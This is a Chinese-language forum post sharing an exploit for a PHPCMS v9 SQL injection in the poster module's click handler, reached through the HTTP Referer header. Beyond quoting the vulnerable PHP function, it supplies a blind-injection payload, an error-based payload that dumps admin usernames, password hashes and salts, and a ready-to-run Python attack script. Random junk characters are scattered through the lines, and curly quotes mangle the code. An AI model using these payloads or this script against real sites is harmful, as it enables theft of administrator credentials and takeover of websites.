有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
; O* C* _9 c* v4 n
) e- c8 d g, A' V1 _: ?$ T问题函数\phpcms\modules\poster\index.php
1 v6 h- d7 r# M& t& L, I" s9 P' g M- X/ N
public function poster_click() {
* V" T4 _6 L. m. l+ Q0 F' `! b$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
2 }8 ^8 Y0 c4 x: A$r = $this->db->get_one(array('id'=>$id));- ^* t. a( x* V$ Z3 ]6 m
if (!is_array($r) && empty($r)) return false;# T6 x" `, W0 D! U0 N
$ip_area = pc_base::load_sys_class('ip_area');; y* @. x" V" z d
$ip = ip();
$ |& Q7 `4 @3 n$area = $ip_area->get($ip);8 Y8 i) A- _. Y; [. S5 F
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
" E6 n- _4 z# x0 \/ Gif($id) {
8 a1 u- W& T k( R+ v1 k$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();' K- F$ C$ V* \
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));1 p+ @& |4 r* {
} u' d4 ~; Y0 Q( S
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));& u; N0 m% L2 Q" v1 u s& M
$setting = string2array($r['setting']);
! i& i9 D B% r" }8 Eif (count($setting)==1) {& ]. ~" }% o$ P
$url = $setting['1']['linkurl'];1 z- b% F. Y: w9 c6 D6 S
} else {+ u4 u1 v; O' m2 R
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
, ^8 }* p. C9 B b6 C% o* Q}4 { V4 F% A) x4 y9 S& }$ g8 V( w
header('Location: '.$url);
* F( X! v' l) S, X6 {! M}. P) L4 ~& K) V% ^) J# [. u9 f0 O6 F
9 V' }2 L, i' E0 ^% k' T7 F$ ]
: T. q3 ?. h0 L7 M+ B0 q/ s) p+ o* q- ?3 z6 o! L
利用方式:4 ?- f7 Z! }; Z& J
, d( @8 b# E3 j8 [1 L. c: s
1、可以采用盲注入的手法:4 _+ M( C. }* ]9 _9 ?7 J7 ~
; |! n& q. i; F, M# Lreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
' D. g* R1 `% [% T0 y8 @4 c4 g2 }: S+ {0 H! j$ K; J
通过返回页面,正常与否一个个猜解密码字段。
' a( g7 U: Q- C' M; o! j! o2 k+ u# T) Q* y) D! p
2、代码是花开写的,随手附上了:; }8 `2 u1 \/ A: b
+ v( w. e/ a: d# d/ h( {1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#. n2 m8 l/ l! V! M" Z3 Y" y
" \4 e# d$ T( B& m/ U' q此方法是爆错注入手法,原理自查。
: }+ J" o8 X( q z7 P5 {1 h, Q
) Z; J% |) B, r! c8 b$ _" w ( d' q0 \: t! O7 c. [3 t* W/ J9 h
! b4 {9 n8 |8 ]1 P利用程序:/ h5 ]/ O8 }7 G$ E8 H8 G
* c1 X2 Q. S/ E; ]4 D#!/usr/bin/env python% W9 O8 B. ~ S% `. j
import httplib,sys,re: B- C3 c- \; ~* O3 N, g
. c! ?4 {8 d" N6 \, C, |% u8 Jdef attack():# c" m' e3 d, [4 c+ Y: |2 A) S
print “Code by Pax.Mac Team conqu3r!”
( }+ W" U2 l' k. s$ xprint “Welcome to our zone!!!”
! ^( u, |8 \. x( e1 {4 \url=sys.argv[1]
) X1 K7 w: Q4 M! ^! q4 g# L; `( R3 }paths=sys.argv[2]8 A3 x& H8 c9 K( b* H4 G
conn = httplib.HTTPConnection(url)7 @* J+ Q3 a s' J" p) a: U4 k: n
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,7 b4 m1 D F e& S8 {2 v8 j; u( v: o8 F
“Accept”: “text/plain”,
2 Y6 q: B4 g% h" k“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
0 p1 M" f% }, j6 h- bconn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)# C7 g# ~5 c8 N" K7 M* D5 I
r1 = conn.getresponse()
3 A0 ]% ~! |8 ^, Y c) jdatas=r1.read()
, ~8 h% x9 q! `) c0 h' Qdatas=re.findall(r”Duplicate entry \’\w+’”, datas)
5 P$ @! E5 c2 ?; G o. n+ nprint datas[0]/ ^6 c/ E9 q) \) _. y1 L
conn.close()
\2 T: |, [& A' Vif __name__==”__main__”:
; n' y0 L u) n3 Q! Mif len(sys.argv)<3:7 w8 [. G, p. \" R
print “Code by Pax.Mac Team conqu3r”5 v* p8 b7 \; a. Q b" |, C
print “Usgae:”2 L% f. g- j' U
print “ phpcmsattack.py www.paxmac.org /”
, H+ @. Y3 v' x, f. e& k- tprint “ phpcmsataack.py www.paxmac.org /phpcmsv9/”8 I6 Q9 J: g) L! A
sys.exit(1)
2 K# ~/ c. H' jattack()
! p7 |& F" V0 K. ~% y& _( m+ c/ E* S# H8 j
|